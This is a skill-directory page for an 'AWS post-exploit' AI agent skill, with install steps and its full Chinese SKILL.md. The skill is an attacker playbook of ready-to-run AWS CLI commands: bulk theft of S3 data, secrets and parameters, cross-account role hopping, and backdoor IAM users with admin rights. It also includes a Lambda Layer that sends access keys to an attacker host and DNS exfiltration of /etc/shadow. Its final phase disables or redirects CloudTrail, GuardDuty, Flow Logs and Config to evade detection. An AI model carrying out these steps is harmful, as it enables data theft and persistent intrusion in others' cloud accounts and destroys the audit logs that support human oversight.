Aws Post Exploit logo

Aws Post Exploit

OrganizationPopular
wgpsec
aws-post-exploit

AWS 后渗透与持久化专项。当已获取 AWS 高权限(Admin/PowerUser)或特定服务权限后,需要进行数据窃取、横向移动到其他账户/区域、建立持久化后门、或清理攻击痕迹时使用。覆盖 S3/RDS/DynamoDB/EBS 数据窃取、跨账户 AssumeRole 横向、Lambda/IAM/EventBridge 持久化后门、以及 CloudTrail/GuardDuty 规避技术

Overview

Publisherwgpsec
RepositoryAboutSecurity
Skill nameaws-post-exploit
Stars
1.7K
Forks
242
Bundled files
2
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • 2 bundled files

    Scripts, templates, and references the model can read while it works. Files are read-only and never executed.

  • Open source

    Published by wgpsec on GitHub. Read the source before you install it.

Installation

Install the Aws Post Exploit AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/wgpsec/AboutSecurity.git /tmp/AboutSecurity
mkdir -p .claude/skills
cp -r /tmp/AboutSecurity/skills/cloud/aws-post-exploit .claude/skills/aws-post-exploit
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Aws Post Exploit in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Aws Post Exploit on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Aws Post Exploit is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

AWS 后渗透与持久化方法论

在 AWS 环境中完成提权后,攻击进入后渗透阶段。与传统渗透测试不同,云环境的后渗透面临独特挑战:数据分散在数十个托管服务中(S3/RDS/DynamoDB/SecretsManager 等),横向移动以跨账户角色链为主而非网络层跳板,持久化后门可以是一个 IAM 密钥、一条 EventBridge 规则或一个 Lambda Layer——所有操作都在 CloudTrail 的监控之下。

核心思路:云后渗透是 "API 驱动" 的——每一步操作都是 API 调用,都会留下日志。因此攻击者必须在 "获取价值" 和 "控制噪声" 之间取得平衡。本技能按 4 个阶段组织:数据发现与窃取 → 横向移动 → 持久化 → 痕迹清理。

深入参考

识别到具体后渗透场景后,加载对应参考文档获取完整技术细节:

Phase 1: 数据发现与窃取

获取高权限后,首要目标是发现并窃取高价值数据。按以下决策树选择目标服务:

数据在哪里?
├─ 对象存储
│   ├─ S3 Bucket → 批量下载 / 设为公开 / 跨账户复制
│   └─ Glacier/Deep Archive → RestoreObject 恢复后下载
├─ 数据库
│   ├─ RDS → 快照导出到 S3 / 重置密码直连 / 只读副本
│   ├─ DynamoDB → Scan 全表 / 导出到 S3 / Stream 实时捕获
│   ├─ Redshift → 跨账户快照共享 / Zero-ETL 复制
│   └─ ElastiCache → 快照导出 / 连接直读
├─ 块存储 / 磁盘
│   ├─ EBS 快照 → 跨账户共享快照 / 直接读取块级数据
│   ├─ EBS Multi-Attach → 只读挂载到攻击者实例
│   └─ AMI → CreateStoreImageTask 导出到 S3
├─ 凭据 / 密钥
│   ├─ SecretsManager → BatchGetSecretValue 批量提取
│   ├─ SSM Parameter Store → GetParametersByPath 递归获取
│   └─ Lambda 环境变量 → GetFunction 提取运行时凭据
├─ 日志 / 监控
│   ├─ CloudWatch Logs → FilterLogEvents 搜索敏感信息
│   └─ RDS 日志 → DownloadDBLogFilePortion 导出 SQL 日志
└─ 代码 / 配置
    ├─ CodeCommit → 克隆代码仓库
    ├─ Lambda 代码 → GetFunction 下载部署包
    └─ S3 中的 Terraform State → 明文凭据和资源信息

高价值数据源速查

数据源关键 API / 命令价值
S3 Bucketaws s3 sync s3://bucket ./loot/备份、日志、配置、凭据
EBS 快照aws ec2 create-snapshot → 跨账户共享完整文件系统
RDS 快照aws rds create-db-snapshot → 公开/跨账户生产数据库
DynamoDBaws dynamodb scan --table-name X业务数据
SecretsManageraws secretsmanager batch-get-secret-value数据库密码、API Key
SSM Parametersaws ssm get-parameters-by-path --path / --recursive配置、凭据
Lambda 环境变量aws lambda get-function --function-name X运行时凭据
CloudWatch Logsaws logs filter-log-events --filter-pattern "password"应用泄露的敏感信息

快速数据发现命令

bash
# 1. 枚举所有 S3 Bucket
aws s3 ls
# 检查 Bucket 策略和 ACL
aws s3api get-bucket-policy --bucket <name>
aws s3api get-bucket-acl --bucket <name>

# 2. 搜索 S3 中的敏感文件
aws s3 ls s3://<bucket>/ --recursive | grep -iE '\.env|credential|secret|\.pem|\.key|backup|\.sql'

# 3. 批量提取 Secrets
aws secretsmanager list-secrets --query 'SecretList[].Name'
aws secretsmanager batch-get-secret-value \
  --secret-id-list <secret1> <secret2> \
  --query 'SecretValues[].{Name:Name,Val:SecretString}'

# 4. 递归获取 SSM 参数
aws ssm get-parameters-by-path --path "/" --recursive --with-decryption \
  --query 'Parameters[].{Name:Name,Value:Value}'

# 5. 提取 Lambda 环境变量(含临时凭据)
for fn in $(aws lambda list-functions --query 'Functions[].FunctionName' --output text); do
  echo "=== $fn ==="
  aws lambda get-function-configuration --function-name "$fn" \
    --query 'Environment.Variables'
done

→ 读 references/data-exfiltration.md

Phase 2: 横向移动

AWS 横向移动发生在三个维度:跨账户、跨区域、跨服务。

横向移动路径
├─ 跨账户移动
│   ├─ OrganizationAccountAccessRole(管理账户 → 成员账户)
│   │   └─ aws sts assume-role --role-arn arn:aws:iam::<member>:role/OrganizationAccountAccessRole
│   ├─ 跨账户信任角色(宽松 Principal)
│   │   └─ 枚举所有角色信任策略 → 发现 Principal: * 或外部账户
│   └─ 跨账户资源策略(S3/KMS/SNS/SQS)
│       └─ 检查资源策略中的 Allow 跨账户操作
├─ 跨区域移动
│   ├─ RDS 跨区域自动备份复制 → 在冷门区域恢复数据库
│   ├─ DynamoDB Global Table → 添加新区域副本
│   ├─ EBS 快照跨区域复制 → 在目标区域创建实例
│   └─ S3 跨区域复制规则
└─ 跨服务 / 网络移动
    ├─ SSM → EC2(SendCommand / StartSession)
    ├─ EC2 Instance Connect Endpoint → 私有实例 SSH
    ├─ ECS Agent 冒充 → 窃取同宿主机所有任务角色
    ├─ VPC Peering / VPN → 直连被害 VPC
    └─ VPC 流量镜像 → 被动嗅探网络流量

跨账户 AssumeRole 枚举

bash
# 枚举当前账户所有角色的信任策略
for role in $(aws iam list-roles --query 'Roles[].RoleName' --output text); do
  trust=$(aws iam get-role --role-name "$role" \
    --query 'Role.AssumeRolePolicyDocument' --output json 2>/dev/null)
  # 检查是否允许外部账户或 *
  echo "$trust" | grep -qE '"AWS":\s*"\*"|:iam::[0-9]{12}:' && \
    echo "[!] $role: $trust"
done

# Organizations:从管理账户枚举所有成员账户
aws organizations list-accounts --query 'Accounts[].{Id:Id,Name:Name,Status:Status}'

# 尝试切换到成员账户的默认管理角色
aws sts assume-role \
  --role-arn "arn:aws:iam::<member_account_id>:role/OrganizationAccountAccessRole" \
  --role-session-name lateral

EC2 Instance Connect 横向

bash
# 创建 EC2 Instance Connect Endpoint(用于访问私有子网实例)
aws ec2 create-instance-connect-endpoint \
  --subnet-id <private-subnet-id> \
  --security-group-ids <sg-id>

# 注入临时 SSH 公钥并连接
aws ec2-instance-connect send-ssh-public-key \
  --instance-id <i-xxx> \
  --instance-os-user ec2-user \
  --ssh-public-key file://~/.ssh/id_rsa.pub

ssh -o ProxyCommand='aws ec2-instance-connect open-tunnel \
  --instance-id %h' ec2-user@<i-xxx>

SSM 横向移动

bash
# 列出所有受 SSM 管理的实例
aws ssm describe-instance-information \
  --query 'InstanceInformationList[].{Id:InstanceId,Platform:PlatformType,Role:IamRole}'

# 在目标实例上执行命令
aws ssm send-command \
  --instance-ids <i-xxx> \
  --document-name "AWS-RunShellScript" \
  --parameters 'commands=["curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ && whoami"]'

# 端口转发(SSM 隧道)
aws ssm start-session --target <i-xxx> \
  --document-name AWS-StartPortForwardingSession \
  --parameters '{"portNumber":["3306"],"localPortNumber":["3306"]}'

Phase 3: 持久化

持久化的核心目标:即使凭据被轮换或初始入口被修复,仍能保持对 AWS 环境的访问。

持久化技术决策表

技术隐蔽性持久性前置权限检测难度
IAM 后门用户 + Access Key永久(直到删除)iam:CreateUser + iam:CreateAccessKey低(IAM 审计易发现)
IAM 角色信任策略后门永久iam:UpdateAssumeRolePolicy中(需审计信任策略)
IAM 策略版本后门永久iam:CreatePolicyVersion高(历史版本不常检查)
STS Role Chain Juggling临时凭据自动续期sts:AssumeRole(循环角色链)高(利用正常特性)
Lambda Layer/Extension 后门直到 Layer 被移除lambda:PublishLayerVersion + lambda:UpdateFunctionConfiguration高(代码审计才能发现)
Lambda 别名权重分流直到别名被修改lambda:CreateAlias / lambda:UpdateAlias很高(1%流量几乎不可见)
Lambda 异步自循环持续(自动重触发)lambda:UpdateFunctionConfiguration(destination)
EC2 UserData 后门直到实例替换ec2:ModifyInstanceAttribute中(检查 UserData 内容)
EC2 AMI 后门后续实例继承ec2:CreateImage高(AMI 内容不常审计)
EventBridge 定时规则持续(定时触发)events:PutRule + events:PutTargets中(规则可被枚举)
SNS 订阅窃取持续sns:Subscribe高(订阅不常检查)
SSM Association 定时持续(定时执行)ssm:CreateAssociation
CloudTrail 关闭-掩护其他操作cloudtrail:StopLogging低(GuardDuty 立即告警)
GuardDuty 规避掩护其他操作guardduty:*视方法而定

IAM 持久化快速操作

bash
# 1. 创建后门用户
aws iam create-user --user-name svc-backup-agent
aws iam attach-user-policy --user-name svc-backup-agent \
  --policy-arn "arn:aws:iam::aws:policy/AdministratorAccess"
aws iam create-access-key --user-name svc-backup-agent

# 2. 后门角色信任策略(允许外部账户 AssumeRole)
aws iam update-assume-role-policy --role-name AdminRole \
  --policy-document '{
    "Version":"2012-10-17",
    "Statement":[{
      "Effect":"Allow",
      "Principal":{"AWS":["arn:aws:iam::<attacker_account>:root"]},
      "Action":"sts:AssumeRole"
    }]
  }'

# 3. 策略版本后门(在非默认版本中隐藏 Admin 权限)
aws iam create-policy-version --policy-arn <policy_arn> \
  --policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}' \
  --no-set-as-default
# 后续需要时切换为默认版本
aws iam set-default-policy-version --policy-arn <policy_arn> --version-id v2

Lambda 持久化(5 种方法)

bash
# 方法 1: Lambda Layer 注入后门代码
# 创建包含恶意初始化代码的 Layer
mkdir -p /tmp/layer/python && cat > /tmp/layer/python/backdoor.py << 'PYEOF'
import os, urllib.request
urllib.request.urlopen(f"https://<attacker>/exfil?key={os.environ.get('AWS_ACCESS_KEY_ID','')}")
PYEOF
cd /tmp/layer && zip -r layer.zip python/

aws lambda publish-layer-version --layer-name monitoring-ext \
  --zip-file fileb:///tmp/layer/layer.zip --compatible-runtimes python3.9 python3.10 python3.11

aws lambda update-function-configuration --function-name <target_fn> \
  --layers arn:aws:lambda:<region>:<account>:layer:monitoring-ext:1

# 方法 2: Lambda 别名权重分流(1% 流量路由到后门版本)
aws lambda publish-version --function-name <fn> --description "backdoor"
# 假设后门版本号为 2,合法版本为 3
aws lambda update-alias --function-name <fn> --name prod \
  --routing-config '{"AdditionalVersionWeights":{"2":0.01}}'

# 方法 3: AWS_LAMBDA_EXEC_WRAPPER 环境变量 + Layer
# 通过 Layer 部署 /opt/bin/wrapper.sh,在 handler 之前执行
aws lambda update-function-configuration --function-name <fn> \
  --environment 'Variables={AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/wrapper}'

# 方法 4: 异步自循环(Destination 自触发)
aws lambda update-function-configuration --function-name <fn> \
  --destination-config '{"OnSuccess":{"Destination":"arn:aws:lambda:<region>:<acct>:function:<fn>"}}'
aws lambda put-function-recursion-config --function-name <fn> \
  --recursive-loop Allow

# 方法 5: 资源策略后门(隐藏版本的跨账户 Invoke 权限)
aws lambda add-permission --function-name <fn> --qualifier 1 \
  --statement-id backdoor --action lambda:InvokeFunction \
  --principal <attacker_account_id>

EventBridge 定时持久化

bash
# 创建定时规则,每 6 小时触发恶意 Lambda
aws events put-rule --name "sys-health-check" \
  --schedule-expression "rate(6 hours)" \
  --state ENABLED

aws events put-targets --rule "sys-health-check" \
  --targets '[{"Id":"1","Arn":"arn:aws:lambda:<region>:<acct>:function:<backdoor_fn>"}]'

# 授权 EventBridge 调用 Lambda
aws lambda add-permission --function-name <backdoor_fn> \
  --statement-id eventbridge --action lambda:InvokeFunction \
  --principal events.amazonaws.com \
  --source-arn arn:aws:events:<region>:<acct>:rule/sys-health-check

→ 读 references/persistence-backdoor.md

Phase 4: 痕迹清理与检测规避

CloudTrail 规避

CloudTrail 是 AWS 的核心审计系统,所有管理事件都会被记录。攻击者有多种方式削弱它:

bash
# 1. 直接停止日志记录(最粗暴,GuardDuty 会立即告警)
aws cloudtrail stop-logging --name <trail_name>

# 2. 删除 Trail(需先停止)
aws cloudtrail delete-trail --name <trail_name>

# 3. 修改 Trail 的 S3 Bucket(指向攻击者控制的桶或不存在的桶)
aws cloudtrail update-trail --name <trail_name> \
  --s3-bucket-name <attacker_bucket_or_nonexistent>

# 4. 通过 S3 Lifecycle 规则自动删除日志文件
aws s3api put-bucket-lifecycle-configuration \
  --bucket <cloudtrail_bucket> \
  --lifecycle-configuration '{
    "Rules":[{
      "ID":"cleanup","Status":"Enabled",
      "Filter":{"Prefix":"AWSLogs/"},
      "Expiration":{"Days":1}
    }]
  }'

# 5. 禁用 CloudTrail Insights(减少异常检测能力)
aws cloudtrail put-insight-selectors --trail-name <trail> \
  --insight-selectors '[]'

# 6. 减少数据事件记录(停止记录 S3/Lambda 数据事件)
aws cloudtrail put-event-selectors --trail-name <trail> \
  --event-selectors '[{"ReadWriteType":"WriteOnly","IncludeManagementEvents":true,"DataResources":[]}]'

OPSEC 提示:直接停止 CloudTrail 会触发 GuardDuty Stealth:IAMUser/CloudTrailLoggingDisabled 告警。更隐蔽的方式是修改 S3 Lifecycle 规则让日志快速过期,或修改事件选择器减少记录范围。

GuardDuty 规避

方法命令风险
删除 Detectoraws guardduty delete-detector --detector-id <id>极高(Organization 级别可能阻止)
添加 Trusted IP Listaws guardduty create-ip-set --detector-id <id> --format TXT --location s3://<bucket>/ips.txt --activate中(自己的 IP 不再产生告警)
归档 Findingaws guardduty archive-findings --detector-id <id> --finding-ids <ids>中(历史告警消失)
自动归档 Filteraws guardduty create-filter --detector-id <id> --name suppress --action ARCHIVE --finding-criteria ...高(未来告警自动归档)
暂停成员账户aws guardduty disassociate-members --detector-id <id> --account-ids <member>高(成员账户脱离监控)

VPC Flow Logs 规避

bash
# 删除 Flow Logs
aws ec2 delete-flow-logs --flow-log-ids <fl-xxx>

# 或将 Flow Logs 指向攻击者控制的 S3 桶
aws ec2 create-flow-logs --resource-type VPC --resource-ids <vpc-id> \
  --traffic-type ALL --log-destination-type s3 \
  --log-destination arn:aws:s3:::<attacker_bucket>

AWS Config 规避

bash
# 停止 Config Recorder(停止配置变更追踪)
aws configservice stop-configuration-recorder --configuration-recorder-name default

# 删除 Delivery Channel
aws configservice delete-delivery-channel --delivery-channel-name default

DNS 数据外传(绕过网络隔离)

即使 EC2 实例完全锁定了出站流量,DNS 查询仍然可以外传数据:

bash
# VPC Flow Logs 不记录 DNS 流量
# 通过 DNS TXT 查询外传数据
data=$(cat /etc/shadow | base64 | tr -d '\n')
for chunk in $(echo "$data" | fold -w 60); do
  dig "$chunk.exfil.attacker.com" TXT +short
done

关闭 DNS 外传aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>

注意事项

操作安全(OPSEC)关键点

  • 高危 CloudTrail 事件StopLoggingDeleteTrailCreateUserCreateAccessKeyPutBucketPolicy(公开化)、ModifyDBInstance(密码重置)、ModifySnapshotAttribute(共享快照)
  • GuardDuty 高置信度告警
    • Stealth:IAMUser/CloudTrailLoggingDisabled — CloudTrail 被禁用
    • UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS — EC2 角色凭据在外部使用
    • Exfiltration:S3/AnomalousBehavior — S3 异常大量读取
    • Persistence:IAMUser/AnomalousBehavior — IAM 异常操作
  • 速率控制:AWS API 有速率限制(通常 5-20 次/秒),大规模枚举时注意节流
  • 区域覆盖:资源是区域隔离的。窃取数据时需遍历所有启用区域(aws ec2 describe-regions

推荐工具

工具用途命令
PacuAWS 利用框架(枚举/提权/后渗透/持久化)run post_exploitation__s3_download
CloudFox攻击路径发现cloudfox aws --profile <p> all-checks
AWSRoleJugglerRole Chain Juggling 持久化./aws_role_juggler.py -r role1 role2
DufflebagEBS 快照自动搜索凭据dufflebag search --region <r>
CloudShovelAMI 中搜索敏感信息自动启动实例扫描
S3ScannerS3 Bucket 枚举与数据发现s3scanner scan --bucket <name>

交叉引用

  • 参考 aws-pentesting 技能,获取 AWS 整体攻击流程
  • 参考 aws-iam-privesc 技能,获取权限提升路径(后渗透前置阶段)
  • 参考 cloud-aksk-exploit 技能,获取 AK/SK 凭据完整利用链

Bundled files

The model reads these on demand while the skill is loaded. They are exposed as readable files and are never executed.

Frequently asked questions

What does the Aws Post Exploit AI skill do?

AWS 后渗透与持久化专项。当已获取 AWS 高权限(Admin/PowerUser)或特定服务权限后,需要进行数据窃取、横向移动到其他账户/区域、建立持久化后门、或清理攻击痕迹时使用。覆盖 S3/RDS/DynamoDB/EBS 数据窃取、跨账户 AssumeRole 横向、Lambda/IAM/EventBridge 持久化后门、以及 CloudTrail/GuardDuty 规避技术

Why use Aws Post Exploit on TypingMind?

Because you install it once and use it with any model. Aws Post Exploit is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Aws Post Exploit in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/wgpsec/AboutSecurity/tree/master/skills/cloud/aws-post-exploit. TypingMind reads its SKILL.md and bundles its files and installs it as a skill you can enable per chat.

Which AI models can use Aws Post Exploit?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Aws Post Exploit?

As many as you like. As long as a model supports skills, you can use Aws Post Exploit with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Aws Post Exploit AI skill free?

It is published on GitHub by wgpsec. Check the repository for licensing terms. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

View all

Set up your own AI workspace now

Get notified about new features and future giveaways by subscribing to our newsletter 👇